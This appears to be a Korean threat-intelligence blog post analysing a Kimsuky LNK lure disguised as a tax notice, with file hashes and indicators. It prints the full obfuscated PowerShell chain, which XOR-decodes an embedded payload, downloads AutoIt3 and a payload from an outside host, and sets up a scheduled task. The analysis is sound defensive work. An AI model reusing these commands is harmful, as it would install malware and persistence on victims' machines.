lazarusholic

Everyday is lazarus.dayβ

북한 김수키(Kimsuky)에서 만든 악성코드-미신고 자금출처 해명 자료 제출 안내(부가치세법 시행 규칙)

2025-10-14, Sakai
https://wezard4u.tistory.com/429619
#Kimsuky #LNK

Contents

오늘은 북한 김수키(Kimsuky) 에서 만든 악성코드-미신고 자금출처 해명 자료 제출 안내(부가치세법 시행 규칙) 악성코드에 대해 알아보겠습니다.
해당 악성코드는 2025-06-04 날짜이며 대한민국의 주적 북한이 어떻게 한국 국민의 개인정보 및 기타 정보들을 탈취하기 위해서 어떤 방법을 사용하는지 대해 알아보는 것을 가져 보는 것입니다.
해시
파일명: 미신고 자금출처 해명자료 제출 안내(부가치세법 시행 규칙).lnk
사이즈:1 MB
MD5:fc44d9c71b71c58b3bfbb66479355f71
SHA-1:905814fd03e901c31b63c411fea0014ff3ddbea1
SHA-256:0c79620d6b36625655881d04ae4f9b28f19e1aad1d294383ebadbb8f8284b03a
입니다.
악성코드 PowerShell 내용
/c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell(.)exe
/s /b /od') do call %a "$playing=0;<#App-Poisoning#>$c(o)rps='length';<#App-Poisoning#>$da
vis=Get-Location;$includesnformed=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$includesnf(o)r
med=$includesnformed|where-object{$_.$corps -eq 0x000089C1};<#App-Poisoning#>$shiftey(w)ord=
$includesnformed;<#App-Poisoning#>$includesnformed=$includesnformed|Select-Object -ExpandProp
erty Name;<#App-Poi(s)oning#>if([string]::IsNullOrEmpty($includesnformed)){$playing=1;<#App-P
oisoning#>$davis=$env:US(E)RPROFILE;<#App-Poisoning#>$davis=$davis+'\appdata\local\t(e)mp'
;<#A
pp-Poisoning#>$includ(e)snformed=Get-Child(I)tem -Path $davis -Recurse -Filter *.lnk|where
-obj
ect{$_.$corps -eq 0x000089C1}|ForEa(c)h-Object{$_.FullName}|Select-Object -First 1;<#App-Poiso
ning#>$shifteyword=$includesnformed};<#A(p)p-Poisoning#>$local=$includesnformed.substring(0
,$in
cludesnformed.length-4);$alberta=[System.IO.BinaryReader]::new([System(.)IO.File]::open($in
ludesnformed,[System(.)IO(.)FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileSha
re]::Read));try{$alberta.BaseStream.Seek(0x000018CC,[System.IO.SeekOrigin]::Begin);$vacatio
n=$alberta.ReadBytes(0x0(0)004800);}finally{$alberta.Close()};$shift=0;$simon=0;$sharing=$va
cation.count;while ($shift -lt $sharing){$boards=0x01;$simon=$shift-[math]::Floor($shift/$bo
ards)*$boards;$rather=0x99+$simon;$vacation[$shift]=$vacation[$shift] -bxor $rather;$shift++
};[System.IO.ile]::WriteAllB(y)tes($local,$vacation);if($playing -eq 1){$republic=$local}els
e{$republic='.\'+$local};& $republic;remove-item -path $shifteyword -force;"&b(n)BhfykmcEdq
zJpUWAZiDgTwQxeKlCHaXROYMFPrj||cd /d c:\Users\Public\Documents & copy c:\windows\system32\c
url(.)exe NpgHvPF.exe & copy c:\windows\system32\schtasks.exe NpgHvPF1.exe & NpgHvPF -k -o
AutoIt3.exe hxxps://m2view(.)com.py/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & NpgH
vPF -k -o PpkuFag(.)cdr hxxps://m2view(.)com.py/wp-admin/js/widgets/hurryup/?rv=bear^(&)za=
battle1 & NpgHvPF1 /del(e)te /tn "PpkuFag" /f & NpgHvPF1 /create /sc minute /mo 1 /tn "Ppku
Fag" /tr "c:\Users\Public\Docum(e)nts\AutoIt3(.)exe c:\Users\Public\Documents\PpkuFag(.)cdr"
iconlocation: .hwp
}
입니다.
악성 PowerShell 분석
XOR(0x99)로 인코딩된 바이너리 블록을 오프셋 0x18CC에서 추출해 복호화 후 쓰고 실행
실행 단계에서는 curl과 schtasks 를 복사해 이름을 바꾸고 원격에서 AutoIt3.exe …

IoC

fc44d9c71b71c58b3bfbb66479355f71
905814fd03e901c31b63c411fea0014ff3ddbea1
0c79620d6b36625655881d04ae4f9b28f19e1aad1d294383ebadbb8f8284b03a